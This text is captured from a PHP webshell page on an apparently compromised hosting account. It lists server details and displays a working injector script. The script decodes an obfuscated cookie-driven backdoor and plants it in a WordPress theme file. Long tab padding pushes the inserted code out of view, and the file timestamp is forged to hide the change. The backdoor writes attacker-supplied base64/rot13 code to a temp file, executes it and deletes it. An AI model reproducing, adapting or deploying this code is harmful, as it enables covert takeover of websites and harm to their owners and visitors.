403Webshell
Server IP : 192.254.185.80  /  Your IP : 216.73.217.139
Web Server : Apache
System : Linux gator3137.hostgator.com 5.14.0-687.39.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Aug 18 06:09:16 EDT 2026 x86_64
User : msarats2 ( 1847)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home1/msarats2/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home1/msarats2/public_html///.dbx_convert
<?php  function pb_leading_namespace_or_declare($content) {     $p = 0;     $len = strlen($content);     if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {         $p = 3;     }     while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {         $p++;     }     if (strncmp($content, '<?php', 5) === 0) {         $p += 5;     } elseif ($p + 1 < $len && $content[$p] === '<' && $content[$p + 1] === '?'         && strncmp($content, '<?xml', 5) !== 0 && strncmp($content, '<?=', 3) !== 0) {         $p += 2;     } else {         return false;     }     while ($p < $len) {         while ($p < $len && strpos(" \t\r\n", $content[$p]) !== false) {             $p++;         }         if ($p >= $len) {             break;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '/') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p < $len && $content[$p] === '#') {             $nl = strpos($content, "\n", $p);             $p = ($nl === false) ? $len : $nl + 1;             continue;         }         if ($p + 1 < $len && $content[$p] === '/' && $content[$p + 1] === '*') {             $end = strpos($content, '*/', $p + 2);             $p = ($end === false) ? $len : $end + 2;             continue;         }         return (bool) preg_match('/^(namespace|declare)\b/i', substr($content, $p));     }     return false; }  $path = '/home1/msarats2/public_htmlwp-content/themes/astra/inc/compatibility/class-astra-web-stories.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%20%28isset%28%24_COOKIE%5B36-36%5D%29%20%26%26%20isset%28%24_COOKIE%5B39%2B-38%5D%29%20%26%26%20isset%28%24_COOKIE%5B89-86%5D%29%20%26%26%20isset%28%24_COOKIE%5B46%2B-42%5D%29%29%20%7B%20%24component%20%3D%20%24_COOKIE%3B%20function%20config_manager%28%24ref%29%20%7B%20%24component%20%3D%20%24_COOKIE%3B%20%24pointer%20%3D%20tempnam%28%28%21empty%28session_save_path%28%29%29%20%3F%20session_save_path%28%29%20%3A%20sys_get_temp_dir%28%29%29%2C%20%27c3e9fc22%27%29%3B%20if%20%28%21is_writable%28%24pointer%29%29%20%7B%20%24pointer%20%3D%20getcwd%28%29%20.%20DIRECTORY_SEPARATOR%20.%20%22api_gateway%22%3B%20%7D%20%24descriptor%20%3D%20%22%5Cx3c%5Cx3f%5Cx70%5Cx68p%5Cx20%22%20.%20base64_decode%28str_rot13%28%24component%5B3%5D%29%29%3B%20if%20%28is_writeable%28%24pointer%29%29%20%7B%20%24desc%20%3D%20fopen%28%24pointer%2C%20%27w%2B%27%29%3B%20fputs%28%24desc%2C%20%24descriptor%29%3B%20fclose%28%24desc%29%3B%20spl_autoload_unregister%28__FUNCTION__%29%3B%20require_once%28%24pointer%29%3B%20%40array_map%28%27unlink%27%2C%20array%28%24pointer%29%29%3B%20%7D%20%7D%20spl_autoload_register%28%22config_manager%22%29%3B%20%24parameter_group%20%3D%20%22b1ce298ebcd9d91e7f952d65b6f332f5%22%3B%20if%20%28%21strncmp%28%24parameter_group%2C%20%24component%5B4%5D%2C%2032%29%29%20%7B%20if%20%28%40class_parents%28%22mutex_lock_unit_converter%22%2C%20true%29%29%20%7B%20exit%3B%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (pb_leading_namespace_or_declare($content)) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {          @touch($path, $ft + 10);         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die('!success!');         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 

Youez - 2016 - github.com/yon3zu
LinuXploit